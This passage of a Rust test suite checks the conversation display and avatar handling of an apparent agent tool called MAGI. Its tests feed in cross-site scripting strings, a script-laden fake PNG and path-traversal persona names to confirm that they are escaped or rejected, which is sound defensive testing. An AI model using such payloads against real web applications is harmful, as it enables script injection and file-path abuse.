13317            assert_eq!(view.talk.implementers, n);
13318            assert!(!view.thinking);
13319            assert!(!ui.is_thinking(&id));
13320        }
13321
13322        let mut closed = talks.get(&id).expect("reload");
13323        talk::close(&mut closed, &talks).expect("close");
13324        let e = call(2).await.expect_err("closed talk");
13325        assert_eq!(e.status, StatusCode::CONFLICT, "{}", e.message);
13326        assert!(e.message.contains("takes no more turns"), "{}", e.message);
13327    }
13328
13329    /// A repo with `extra` appended to the mock agent's config, and a talk in it.
13330    async fn avatar_fixture(extra: &str) -> (TempDir, TempDir, Arc<Ui>, String, PathBuf) {
13331        let tmp = TempDir::new().expect("tempdir");
13332        let repo = tmp.path().join("repo");
13333        std::fs::create_dir_all(&repo).expect("repo dir");
13334        std::fs::write(
13335            repo.join("magi.toml"),
13336            format!("{MOCK_AGENT_TOML}\n{extra}"),
13337        )
13338        .expect("write magi.toml");
13339        let home = TempDir::new().expect("temp home");
13340        let talks = Talks::at(home.path().join("talks"));
13341        let ui = Arc::new(
13342            Ui::new(
13343                Queue::at(home.path().join("queue")),
13344                Questions::at(home.path().join("questions")),
13345                talks.clone(),
13346                home.path().join("runs"),
13347                home.path().to_path_buf(),
13348                repo.clone(),
13349            )
13350            .with_worktrees_root(home.path().join("wt")),
13351        );
13352        let cfg = config_for(&repo).await.expect("discover config");
13353        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
13354        (tmp, home, ui, talk.id, repo)
13355    }
13356
13357    #[tokio::test]
13358    async fn magi_provenance_view_resolves_legacy_replies_and_mixed_messages() {
13359        let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
13360        let mut conversation = ui.talks.get(&id).unwrap();
13361        talk::record(
13362            &mut conversation,
13363            &ui.talks,
13364            "# Update on a task you filed\noperator words",
13365            vec![],
13366        )
13367        .unwrap();
13368        // Simulate an old operator record; headings do not prove authorship.
13369        conversation.turns[0].sender = None;
13370        conversation.turns[0].messages.clear();
13371        ui.talks.put(&mut conversation).unwrap();
13372        talk::queue(&mut conversation, &ui.talks, "owner", vec![]).unwrap();
13373        talk::queue_once(&mut conversation, &ui.talks, "automatic report", "notice").unwrap();
13374        talk::drain(&mut conversation, &ui.talks).unwrap();
13375        talk::record_reply(
13376            &mut conversation,
13377            &ui.talks,
13378            "about that report",
13379            vec![],
13380            Some(talk::ReplyTarget {
13381                turn: 1,
13382                message: 1,
13383            }),
13384        )
13385        .unwrap();
13386        conversation.turns[2].messages[0]
13387            .reply
13388            .as_mut()
13389            .unwrap()
13390            .sender = None;
13391        conversation.turns.push(talk::Turn {
13392            sender: Some(talk::Sender::Persona),
13393            who: talk::Who::Agent,
13394            body: "magi: actual persona words".into(),
13395            at: Timestamp::now(),
13396            attachments: vec![],
13397            usage: None,
13398            breaks: None,
13399            messages: vec![],
13400            posted_by: None,
13401        });
13402        ui.talks.put(&mut conversation).unwrap();
13403        let view = TalkView::with_config(
13404            ui.talks.get(&id).unwrap(),
13405            false,
13406            None,
13407            &ui.home,
13408            &ui.references,
13409        );
13410        assert_eq!(view.talk.turns[0].sender, Some(talk::Sender::Operator));
13411        assert_eq!(
13412            view.talk.turns[1].messages[0].sender,
13413            Some(talk::Sender::Operator)
13414        );
13415        assert_eq!(
13416            view.talk.turns[1].messages[1].sender,
13417            Some(talk::Sender::Magi)
13418        );
13419        assert_eq!(
13420            view.talk.turns[2].messages[0]
13421                .reply
13422                .as_ref()
13423                .unwrap()
13424                .sender,
13425            Some(talk::Sender::Magi)
13426        );
13427        assert_eq!(view.talk.turns[3].sender, Some(talk::Sender::Persona));
13428        assert_eq!(view.turn_messages_md[0].len(), 1);
13429        assert!(view.turn_messages_md[0][0].is_none());
13430        assert!(view.turn_messages_md[1][0].is_none());
13431        assert!(view.turn_messages_md[1][1].is_some());
13432    }
13433
13434    #[tokio::test]
13435    async fn notification_display_survives_queue_history_and_reply_without_changing_input() {
13436        let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
13437        let mut conversation = ui.talks.get(&id).unwrap();
13438        let (body, display) = crate::prompt::chat_watch_report("watch-123", "failed", "output");
13439        talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
13440        talk::queue_notice(
13441            &mut conversation,
13442            &ui.talks,
13443            &body,
13444            "watch:123",
13445            &|_| false,
13446            None,
13447            display.clone(),
13448        )
13449        .unwrap();
13450        assert!(
13451            !talk::queue_notice(
13452                &mut conversation,
13453                &ui.talks,
13454                &body,
13455                "watch:123",
13456                &|_| false,
13457                None,
13458                display.clone()
13459            )
13460            .unwrap()
13461        );
13462        let saved = ui.talks.get(&id).unwrap();
13463        assert_eq!(saved.pending_messages[0].display, Some(display.clone()));
13464        let view = TalkView::with_config(saved, false, None, &ui.home, &ui.references);
13465        assert!(
13466            view.talk.turns[0].messages[0].display.is_none(),
13467            "operator copy stays literal"
13468        );
13469        assert_eq!(view.talk.pending_messages[0].display, Some(display.clone()));
13470        assert!(view.turn_messages_md[0][0].is_none());
13471        let queued_md = view.pending_messages_md[0].clone();
13472        assert_eq!(
13473            queued_md,
13474            Some(md::to_nodes(&display.facts, &md::ImageBase::None))
13475        );
13476        talk::drain(&mut conversation, &ui.talks).unwrap();
13477        talk::record_reply(
13478            &mut conversation,
13479            &ui.talks,
13480            "Explain",
13481            vec![],
13482            Some(talk::ReplyTarget {
13483                turn: 1,
13484                message: 0,
13485            }),
13486        )
13487        .unwrap();
13488        let mut saved = ui.talks.get(&id).unwrap();
13489        assert_eq!(saved.turns[1].messages[0].body, body);
13490        assert_eq!(saved.turns[1].messages[0].display, Some(display.clone()));
13491        let reply = saved.turns[2].messages[0].reply.as_mut().unwrap();
13492        assert!(!reply.excerpt.contains("automatic report"));
13493        reply.excerpt = body.chars().take(240).collect(); // old saved quote
13494        saved.turns[1].messages[0].display = None; // old MAGI send
13495        ui.talks.put(&mut saved).unwrap();
13496        let view = TalkView::with_config(
13497            ui.talks.get(&id).unwrap(),
13498            false,
13499            None,
13500            &ui.home,
13501            &ui.references,
13502        );
13503        assert_eq!(view.turn_messages_md[1][0], queued_md);
13504        assert_eq!(view.talk.turns[1].messages[0].display, Some(display));
13505        assert!(
13506            !view.talk.turns[2].messages[0]
13507                .reply
13508                .as_ref()
13509                .unwrap()
13510                .excerpt
13511                .contains("automatic report")
13512        );
13513        assert_eq!(ui.talks.get(&id).unwrap().turns[1].messages[0].body, body);
13514    }
13515
13516    #[tokio::test]
13517    async fn consultation_display_hides_directives_in_queue_and_history() {
13518        for node in [
13519            "implement",
13520            crate::land::APPROVAL_NODE,
13521            crate::github_text::ASK_NODE,
13522        ] {
13523            let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
13524            let mut question = Question::new(
13525                "run-123".into(),
13526                node.into(),
13527                "seat-1".into(),
13528                "Which backend?".into(),
13529                "## Context\n\nUse `storage`.\n\n<script>literal</script>".into(),
13530                vec!["SQLite".into(), "Redis".into()],
13531            );
13532            ui.questions.put(&mut question).unwrap();
13533            let body = crate::prompt::chat_consult(&question);
13534            let mut conversation = ui.talks.get(&id).unwrap();
13535            talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
13536            assert!(
13537                crate::consult::begin(&ui.questions, &ui.talks, &question, &conversation).unwrap()
13538            );
13539            conversation = ui.talks.get(&id).unwrap();
13540            assert_eq!(conversation.pending_messages[0].body, body);
13541            assert!(body.contains("magi answer"));
13542            let mut legacy_pending = conversation.clone();
13543            legacy_pending.pending_messages[0].display = None;
13544            let legacy_view =
13545                TalkView::with_config(legacy_pending, false, None, &ui.home, &ui.references);
13546            let legacy_md = serde_json::to_string(&legacy_view.pending_messages_md[0]).unwrap();
13547            assert!(legacy_md.contains("Question consultation"));
13548            assert!(!legacy_md.contains("magi answer"));
13549            let view =
13550                TalkView::with_config(conversation.clone(), false, None, &ui.home, &ui.references);
13551            assert!(
13552                view.turn_messages_md[0][0].is_none(),
13553                "operator copy stays literal"
13554            );
13555            let queued_md = view.pending_messages_md[0].clone().unwrap();
13556            let rendered = serde_json::to_string(&queued_md).unwrap();
13557            for visible in [
13558                "Which backend?",
13559                "Context",
13560                "storage",
13561                "SQLite",
13562                "Redis",
13563                "<script>literal</script>",
13564            ] {
13565                assert!(rendered.contains(visible), "missing {visible}");
13566            }
13567            for directive in [
13568                "What to do",
13569                "magi answer",
13570                "Never answer it yourself",
13571                "Do not edit the repository",
13572            ] {
13573                assert!(!rendered.contains(directive), "exposed {directive}");
13574            }
13575            assert_eq!(
13576                view.talk.pending_messages[0].display,
13577                Some(crate::prompt::chat_consult_display(&question))
13578            );
13579            talk::drain(&mut conversation, &ui.talks).unwrap();
13580            let view =
13581                TalkView::with_config(conversation.clone(), false, None, &ui.home, &ui.references);
13582            assert_eq!(view.turn_messages_md[1][0], Some(queued_md));
13583            assert_eq!(conversation.turns[1].messages[0].body, body);
13584
13585            // Historical consultations lack a snapshot: show a safe placeholder
13586            // rather than parsing instructions or reconstructing mutable facts.
13587            conversation.turns[1].messages[0].display = None;
13588            let view = TalkView::with_config(conversation, false, None, &ui.home, &ui.references);
13589            let legacy = serde_json::to_string(&view.turn_messages_md[1][0]).unwrap();
13590            assert!(legacy.contains("Question consultation"));
13591            assert!(!legacy.contains("magi answer"));
13592            assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
13593        }
13594    }
13595
13596    #[test]
13597    fn notification_markdown_uses_only_visible_facts_and_explicit_provenance() {
13598        let facts = "# Update\n\n- `task` [PR](https://example.org)\n\n```sh\necho ok\n```\n\n<script>alert(1)</script>\n\n[bad](javascript:alert(1))";
13599        let (body, mut display) =
13600            crate::prompt::chat_watch_report("watch-123", "failed", "<script>untrusted</script>");
13601        display.facts = facts.into();
13602        let nodes = notice_markdown(talk::Sender::Magi, &body, Some(&display)).unwrap();
13603        assert_eq!(nodes, md::to_nodes(facts, &md::ImageBase::None));
13604        let json = serde_json::to_string(&nodes).unwrap();
13605        for kind in ["heading", "bullet_list", "code", "link", "code_block"] {
13606            assert!(json.contains(&format!("\"type\":\"{kind}\"")));
13607        }
13608        assert!(json.contains("<script>alert(1)</script>"));
13609        assert!(!json.contains("javascript:"));
13610        assert!(!json.contains("Tell the operator"));
13611        assert!(!json.contains("untrusted"));
13612        assert!(notice_markdown(talk::Sender::Operator, facts, None).is_none());
13613        assert!(notice_markdown(talk::Sender::Operator, &body, Some(&display)).is_none());
13614        assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
13615        assert_eq!(
13616            notice_markdown(talk::Sender::Magi, "magi: # Status", None).unwrap(),
13617            md::to_nodes("# Status", &md::ImageBase::None),
13618        );
13619    }
13620
13621    #[tokio::test]
13622    async fn notification_display_recovers_exact_legacy_completion_references() {
13623        let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
13624        let mut conversation = ui.talks.get(&id).unwrap();
13625        let (body, display) = crate::prompt::chat_task_report(&crate::prompt::ChatTaskNotice {
13626            id: "task-123",
13627            title: "Change",
13628            status: "done",
13629            reason: None,
13630            run: Some("run-123"),
13631            pr: None,
13632            summary: Some("Merge state unknown"),
13633        });
13634        talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
13635        conversation.turns[0].sender = None;
13636        conversation.turns[0].messages.clear();
13637        conversation.turns[0].breaks = None;
13638        conversation.pending = body.clone();
13639        conversation
13640            .completion_notices
13641            .push(crate::chat_notify::CompletionReference {
13642                task: "task-123".into(),
13643                run: Some("run-123".into()),
13644                notice: body.clone(),
13645            });
13646        ui.talks.put(&mut conversation).unwrap();
13647        let view = TalkView::with_config(
13648            ui.talks.get(&id).unwrap(),
13649            false,
13650            None,
13651            &ui.home,
13652            &ui.references,
13653        );
13654        assert_eq!(
13655            view.talk.turns[0].messages[0].display,
13656            Some(display.clone())
13657        );
13658        assert_eq!(view.talk.pending_messages[0].display, Some(display));
13659        assert_eq!(
13660            view.talk.turns[0].messages[0].sender,
13661            Some(talk::Sender::Magi)
13662        );
13663        assert!(ui.talks.get(&id).unwrap().turns[0].messages.is_empty());
13664        conversation.completion_notices[0]
13665            .notice
13666            .push_str("different");
13667        let view = TalkView::with_config(conversation, false, None, &ui.home, &ui.references);
13668        assert!(view.talk.turns[0].messages.is_empty());
13669        assert!(view.talk.pending_messages.is_empty());
13670    }
13671
13672    #[tokio::test]
13673    async fn avatar_settings_report_states_and_inherit_after_corruption() {
13674        let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
13675        let (_tmp, home, ui, _, _) = avatar_fixture(&format!(
13676            "[[talk.personas]]\nid = \"rei\"\nicon = \"{icon}\"\n"
13677        ))
13678        .await;
13679        let path = avatar_setting_path(home.path(), Some("rei"));
13680        let orphan = avatar_setting_path(home.path(), Some("removed"));
13681        save_icon_file(&orphan, icon).unwrap();
13682        for (saved, expected) in [
13683            (icon, "custom"),
13684            ("builtin", "builtin"),
13685            ("data:image/png;base64,!!!!", "inherit"),
13686            ("data:image/png;base64,PGh0bWw+", "inherit"),
13687            ("/tmp/avatar.png", "inherit"),
13688        ] {
13689            atomic_icon_write(&path, saved).unwrap();
13690            let catalog =
13691                avatar_settings_get(State(ui.clone()), Query(AvatarSettingsQuery::default()))
13692                    .await
13693                    .unwrap()
13694                    .0;
13695            let personas = catalog["personas"].as_array().unwrap();
13696            let rei = personas.iter().find(|p| p["id"] == "rei").unwrap();
13697            assert_eq!(rei["override_state"], expected);
13698            assert_eq!(rei["has_config_icon"], true);
13699            assert_eq!(rei["is_orphan"], false);
13700            let removed = personas.iter().find(|p| p["id"] == "removed").unwrap();
13701            assert_eq!(removed["override_state"], "custom");
13702            assert_eq!(removed["is_orphan"], true);
13703            let default = personas.iter().find(|p| p["id"] == "default").unwrap();
13704            assert_eq!(default["override_state"], "inherit");
13705            assert_eq!(default["has_config_icon"], false);
13706            let effective = effective_persona_icon(home.path(), "rei", Some(icon));
13707            assert_eq!(
13708                effective.as_deref(),
13709                Some(if expected == "builtin" { "" } else { icon })
13710            );
13711        }
13712    }
13713
13714    #[tokio::test]
13715    async fn avatar_settings_persist_reset_isolate_and_reject_invalid_images() {
13716        let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
13717        let (_tmp, home, ui, id, repo) = avatar_fixture(&format!(
13718            "[[talk.personas]]\nid = \"rei\"\nicon = \"{icon}\"\n\n[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Stay concise\"\n"
13719        ))
13720        .await;
13721        let target = |id: Option<&str>| AvatarSettingsQuery {
13722            persona: id.map(str::to_owned),
13723            ..Default::default()
13724        };
13725        let original_config = config_for(&repo).await.unwrap();
13726        let original_persona = persona::find(&original_config.talk.personas, "rei").unwrap();
13727        let original_prompt = persona::section_for(&original_persona, None);
13728        let before = talk_detail(State(ui.clone()), Path(id.clone()))
13729            .await
13730            .unwrap()
13731            .0;
13732        for persona in [None, Some("rei"), Some("magi"), Some("../custom/日本語")] {
13733            let _ = avatar_settings_put(
13734                State(ui.clone()),
13735                Query(target(persona)),
13736                Json(MagiIconUpload { icon: icon.into() }),
13737            )
13738            .await
13739            .unwrap();
13740            let path = avatar_setting_path(home.path(), persona);
13741            assert!(path.starts_with(home.path().join("avatars")));
13742            assert_eq!(read_icon_file(&path).as_deref(), Some(icon));
13743            for bad in [
13744                "/tmp/image.png".to_owned(),
13745                "data:image/png;base64,!!!!".to_owned(),
13746                "data:image/png;base64,PGh0bWw+".to_owned(),
13747                "data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
13748                format!(
13749                    "data:image/png;base64,{}",
13750                    "A".repeat(persona_icon::ICON_MAX_BYTES)
13751                ),
13752            ] {
13753                assert!(
13754                    avatar_settings_put(
13755                        State(ui.clone()),
13756                        Query(target(persona)),
13757                        Json(MagiIconUpload { icon: bad })
13758                    )
13759                    .await
13760                    .is_err()
13761                );
13762                assert_eq!(read_icon_file(&path).as_deref(), Some(icon));
13763            }
13764        }
13765        assert!(read_magi_icon(home.path()).is_none());
13766        assert!(effective_persona_icon(home.path(), "asuka", None).is_none());
13767        let after = talk_detail(State(ui.clone()), Path(id.clone()))
13768            .await
13769            .unwrap()
13770            .0;
13771        assert_ne!(before.view.operator_avatar, after.view.operator_avatar);
13772        assert_ne!(
13773            before
13774                .personas
13775                .iter()
13776                .find(|p| p.id == "magi")
13777                .unwrap()
13778                .avatar,
13779            after
13780                .personas
13781                .iter()
13782                .find(|p| p.id == "magi")
13783                .unwrap()
13784                .avatar
13785        );
13786        let restarted = Arc::new(Ui::new(
13787            Queue::at(home.path().join("queue")),
13788            Questions::at(home.path().join("questions")),
13789            Talks::at(home.path().join("talks")),
13790            home.path().join("runs"),
13791            home.path().to_owned(),
13792            repo,
13793        ));
13794        let catalog = avatar_settings_get(State(restarted.clone()), Query(target(None)))
13795            .await
13796            .unwrap()
13797            .0;
13798        assert!(
13799            catalog["personas"]
13800                .as_array()
13801                .unwrap()
13802                .iter()
13803                .any(|p| p["id"] == "../custom/日本語")
13804        );
13805        for expected in ["custom", "default", "rei"] {
13806            assert!(
13807                catalog["personas"]
13808                    .as_array()
13809                    .unwrap()
13810                    .iter()
13811                    .any(|p| p["id"] == expected)
13812            );
13813        }
13814        let response =
13815            operator_avatar(State(restarted.clone()), Query(AvatarQuery::default())).await;
13816        assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
13817        let _ = avatar_settings_delete(State(restarted.clone()), Query(target(Some("rei"))))
13818            .await
13819            .unwrap();
13820        assert_eq!(
13821            effective_persona_icon(home.path(), "rei", Some(icon)),
13822            Some(String::new())
13823        );
13824        let response = talk_avatar(
13825            State(restarted.clone()),
13826            Path(id.clone()),
13827            Query(AvatarQuery {
13828                persona: Some("rei".into()),
13829                ..Default::default()
13830            }),
13831        )
13832        .await
13833        .unwrap();
13834        assert_eq!(response.headers()[header::CONTENT_TYPE], "image/svg+xml");
13835        let reset = talk_detail(State(restarted.clone()), Path(id.clone()))
13836            .await
13837            .unwrap()
13838            .0;
13839        assert_ne!(
13840            after
13841                .personas
13842                .iter()
13843                .find(|p| p.id == "rei")
13844                .unwrap()
13845                .avatar,
13846            reset
13847                .personas
13848                .iter()
13849                .find(|p| p.id == "rei")
13850                .unwrap()
13851                .avatar
13852        );
13853        let mut inherit = target(Some("rei"));
13854        inherit.inherit = Some("1".into());
13855        let _ = avatar_settings_delete(State(restarted.clone()), Query(inherit))
13856            .await
13857            .unwrap();
13858        assert_eq!(
13859            effective_persona_icon(home.path(), "rei", Some(icon)).as_deref(),
13860            Some(icon)
13861        );
13862        let _ = avatar_settings_delete(State(restarted.clone()), Query(target(None)))
13863            .await
13864            .unwrap();
13865        assert_eq!(operator_icon_url(home.path()), before.view.operator_avatar);
13866        assert_eq!(
13867            read_icon_file(&avatar_setting_path(home.path(), Some("magi"))).as_deref(),
13868            Some(icon)
13869        );
13870        // Display changes never rewrite the conversation or its prompt-bearing config.
13871        let cfg = config_for(&ui.repo).await.unwrap();
13872        let resolved = persona::find(&cfg.talk.personas, "rei").unwrap();
13873        assert_eq!(persona::section_for(&resolved, None), original_prompt);
13874        assert!(!original_prompt.contains("data:image"));
13875        assert_eq!(ui.talks.get(&id).unwrap().persona, before.view.talk.persona);
13876        let stored = serde_json::to_string(&ui.talks.get(&id).unwrap()).unwrap();
13877        assert!(!stored.contains("data:image"));
13878        let mut orphan = ui.talks.get(&id).unwrap();
13879        orphan.persona = "../custom/日本語".into();
13880        let view = TalkView::with_config(
13881            orphan,
13882            false,
13883            Some(&cfg),
13884            home.path(),
13885            &id_links::IndexCache::default(),
13886        );
13887        assert!(view.persona_avatar.contains("persona=..%2Fcustom%2F"));
13888    }
13889
13890    #[tokio::test]
13891    async fn magi_icon_saves_resets_revalidates_and_refreshes_cache() {
13892        let (_tmp, home, ui, id, repo) = avatar_fixture("").await;
13893        let original = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
13894        let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
13895        let _ = magi_icon_put(
13896            State(ui.clone()),
13897            Json(MagiIconUpload { icon: icon.into() }),
13898        )
13899        .await
13900        .unwrap();
13901        let changed = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
13902        assert_ne!(original, changed);
13903        assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
13904        let response = magi_avatar(
13905            State(ui.clone()),
13906            Query(AvatarQuery {
13907                persona: None,
13908                builtin: None,
13909            }),
13910        )
13911        .await;
13912        assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
13913        assert_eq!(response.headers()[header::CACHE_CONTROL], "no-cache");
13914        assert_eq!(
13915            response.headers()[header::X_CONTENT_TYPE_OPTIONS],
13916            "nosniff"
13917        );
13918        for bad in [
13919            "data:image/png;base64,PGh0bWw+".to_owned(),
13920            "data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
13921            "A".repeat(persona_icon::ICON_MAX_BYTES + 1),
13922        ] {
13923            assert!(save_magi_icon(home.path(), &bad).is_err());
13924            assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
13925        }
13926        // Re-opened server state reads the same independent home file.
13927        let restarted = Arc::new(Ui::new(
13928            Queue::at(home.path().join("queue")),
13929            Questions::at(home.path().join("questions")),
13930            Talks::at(home.path().join("talks")),
13931            home.path().join("runs"),
13932            home.path().to_path_buf(),
13933            repo,
13934        ));
13935        assert_eq!(
13936            magi_icon_get(State(restarted.clone())).await.0["avatar"],
13937            changed
13938        );
13939        let view = TalkView::with_config(
13940            restarted.talks.get(&id).unwrap(),
13941            false,
13942            None,
13943            &restarted.home,
13944            &restarted.references,
13945        );
13946        assert_eq!(view.magi_avatar, changed.as_str().unwrap());
13947        std::fs::write(magi_icon_path(home.path()), "invalid").unwrap();
13948        let response = magi_avatar(
13949            State(ui.clone()),
13950            Query(AvatarQuery {
13951                persona: None,
13952                builtin: None,
13953            }),
13954        )
13955        .await;
13956        let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
13957            .await
13958            .unwrap();
13959        assert_eq!(bytes.as_ref(), persona_icon::magi_svg().as_bytes());
13960        let _ = magi_icon_delete(State(ui.clone())).await.unwrap();
13961        assert_eq!(magi_icon_get(State(ui.clone())).await.0["avatar"], original);
13962        let _ = magi_icon_delete(State(ui)).await.unwrap();
13963    }
13964
13965    /// `(status, content-type, nosniff, csp, body)` of one avatar request.
13966    async fn avatar(
13967        ui: &Arc<Ui>,
13968        id: &str,
13969        persona: Option<&str>,
13970        builtin: bool,
13971    ) -> (StatusCode, String, bool, bool, Vec<u8>) {
13972        let res = talk_avatar(
13973            State(Arc::clone(ui)),
13974            Path(id.to_owned()),
13975            Query(AvatarQuery {
13976                persona: persona.map(str::to_owned),
13977                builtin: builtin.then(|| "1".to_owned()),
13978            }),
13979        )
13980        .await
13981        .expect("an avatar is never an error response");
13982        let h = res.headers();
13983        let ct = h[header::CONTENT_TYPE].to_str().unwrap().to_owned();
13984        let nosniff = h
13985            .get(header::X_CONTENT_TYPE_OPTIONS)
13986            .is_some_and(|v| v == "nosniff");
13987        let csp = h.contains_key(header::CONTENT_SECURITY_POLICY);
13988        let status = res.status();
13989        let body = axum::body::to_bytes(res.into_body(), usize::MAX)
13990            .await
13991            .expect("body")
13992            .to_vec();
13993        (status, ct, nosniff, csp, body)
13994    }
13995
13996    fn tiny_png() -> Vec<u8> {
13997        let mut b = b"\x89PNG\r\n\x1a\n".to_vec();
13998        b.extend_from_slice(&[0u8; 32]);
13999        b
14000    }
14001
14002    #[tokio::test]
14003    async fn operator_avatar_is_distinct_svg_with_a_locked_down_policy() {
14004        let (_tmp, _home, ui, _id, _repo) = avatar_fixture("").await;
14005        let res = operator_avatar(State(ui), Query(AvatarQuery::default())).await;
14006        assert_eq!(res.status(), StatusCode::OK);
14007        assert_eq!(res.headers()[header::CONTENT_TYPE], "image/svg+xml");
14008        assert_eq!(res.headers()[header::X_CONTENT_TYPE_OPTIONS], "nosniff");
14009        assert_eq!(res.headers()[header::CONTENT_SECURITY_POLICY], AVATAR_CSP);
14010        assert_eq!(res.headers()[header::CACHE_CONTROL], "no-cache");
14011        let body = axum::body::to_bytes(res.into_body(), usize::MAX)
14012            .await
14013            .unwrap();
14014        assert_eq!(body.as_ref(), persona_icon::operator_svg().as_bytes());
14015        assert_ne!(
14016            persona_icon::operator_svg(),
14017            persona_icon::builtin_svg("default")
14018        );
14019    }
14020
14021    #[tokio::test]
14022    async fn builtin_avatars_are_svg_with_a_locked_down_policy() {
14023        let (_t, _h, ui, id, _repo) = avatar_fixture("").await;
14024        for p in [
14025            "default", "magi", "rei", "misato", "ritsuko", "shinji", "asuka", "kaworu",
14026        ] {
14027            let (status, ct, nosniff, csp, body) = avatar(&ui, &id, Some(p), false).await;
14028            assert_eq!(status, StatusCode::OK, "{p}");
14029            assert_eq!(ct, "image/svg+xml", "{p}");
14030            assert!(nosniff && csp, "{p}");
14031            assert!(String::from_utf8(body).unwrap().starts_with("<svg"), "{p}");
14032        }
14033        // No `persona` means the conversation's own; unknown ones fall back.
14034        let own = avatar(&ui, &id, None, false).await;
14035        let default = avatar(&ui, &id, Some("default"), false).await;
14036        assert_eq!(own.4, default.4);
14037        let unknown = avatar(&ui, &id, Some("nobody"), false).await;
14038        assert_eq!(unknown.1, "image/svg+xml");
14039    }
14040
14041    #[tokio::test]
14042    async fn a_configured_raster_icon_is_served_and_bad_ones_fall_back() {
14043        let dir = TempDir::new().expect("icons");
14044        let good = dir.path().join("good.png");
14045        std::fs::write(&good, tiny_png()).unwrap();
14046        let spoof = dir.path().join("spoof.png");
14047        std::fs::write(&spoof, b"<html><script>alert(1)</script></html>").unwrap();
14048        let big = dir.path().join("big.png");
14049        let mut bytes = tiny_png();
14050        bytes.resize(persona_icon::ICON_MAX_BYTES + 1, 0);
14051        std::fs::write(&big, bytes).unwrap();
14052        let missing = dir.path().join("missing.png");
14053        let uri = |p: &FsPath| p.to_string_lossy().replace('\\', "/");
14054        let extra = format!(
14055            "[[talk.personas]]\nid = \"rei\"\nicon = \"{}\"\n\
14056             [[talk.personas]]\nid = \"misato\"\nicon = \"{}\"\n\
14057             [[talk.personas]]\nid = \"asuka\"\nicon = \"{}\"\n\
14058             [[talk.personas]]\nid = \"shinji\"\nicon = \"{}\"\n\
14059             [[talk.personas]]\nid = \"kaworu\"\nicon = \"data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\"\n\
14060             [[talk.personas]]\nid = \"magi\"\nicon = \"data:image/png;base64,PGh0bWw+\"\n",
14061            uri(&good),
14062            uri(&spoof),
14063            uri(&big),
14064            uri(&missing),
14065        );
14066        let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
14067
14068        let (status, ct, nosniff, _, body) = avatar(&ui, &id, Some("rei"), false).await;
14069        assert_eq!(
14070            (status, ct.as_str(), nosniff),
14071            (StatusCode::OK, "image/png", true)
14072        );
14073        assert_eq!(body, tiny_png());
14074        let (_, ct, _, _, _) = avatar(&ui, &id, Some("kaworu"), false).await;
14075        assert_eq!(ct, "image/png", "data URI");
14076
14077        for p in ["misato", "asuka", "shinji", "magi"] {
14078            let (status, ct, _, csp, body) = avatar(&ui, &id, Some(p), false).await;
14079            assert_eq!(
14080                (status, ct.as_str(), csp),
14081                (StatusCode::OK, "image/svg+xml", true),
14082                "{p}"
14083            );
14084            assert!(body.starts_with(b"<svg"), "{p}");
14085        }
14086        // The page's own retry skips the icon.
14087        let (_, ct, _, _, _) = avatar(&ui, &id, Some("rei"), true).await;
14088        assert_eq!(ct, "image/svg+xml");
14089    }
14090
14091    #[tokio::test]
14092    async fn invalid_icons_keep_the_catalog_and_persona_switch_usable() {
14093        let oversized = format!(
14094            "data:image/png;base64,{}",
14095            "A".repeat(persona_icon::ICON_MAX_BYTES)
14096        );
14097        for bad in ["", "/images/avatar.svg", "/a/../b.png", &oversized] {
14098            let extra = format!(
14099                "[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Keep calm\"\nicon = \"{bad}\"\n"
14100            );
14101            let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
14102            let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
14103                .await
14104                .expect("detail with invalid icon");
14105            assert!(detail.personas.iter().any(|p| p.id == "custom"));
14106            let (status, ct, _, _, body) = avatar(&ui, &id, Some("custom"), false).await;
14107            assert_eq!(status, StatusCode::OK);
14108            assert_eq!(ct, "image/svg+xml");
14109            assert_eq!(body, persona_icon::builtin_svg("custom").as_bytes());
14110            let Json(view) = talk_persona(
14111                State(Arc::clone(&ui)),
14112                Path(id.clone()),
14113                Json(TalkPersona {
14114                    persona: "custom".into(),
14115                }),
14116            )
14117            .await
14118            .expect("persona switch with invalid icon");
14119            assert_eq!(view.talk.persona, "custom");
14120            assert_eq!(ui.talks.get(&id).unwrap().persona, "custom");
14121        }
14122    }
14123
14124    #[tokio::test]
14125    async fn an_unreadable_config_still_gets_the_builtin_avatar() {
14126        let (_t, _h, ui, id, repo) = avatar_fixture("").await;
14127        std::fs::write(repo.join("magi.toml"), "this is not valid TOML").unwrap();
14128        let (status, ct, nosniff, csp, _) = avatar(&ui, &id, Some("rei"), false).await;
14129        assert_eq!(
14130            (status, ct.as_str(), nosniff, csp),
14131            (StatusCode::OK, "image/svg+xml", true, true)
14132        );
14133    }
14134
14135    #[tokio::test]
14136    async fn the_talk_view_carries_server_built_avatar_urls_only() {
14137        let (_t, _h, ui, id, _repo) =
14138            avatar_fixture("[[talk.personas]]\nid = \"rei\"\nicon = \"~/secret/rei.png\"\n").await;
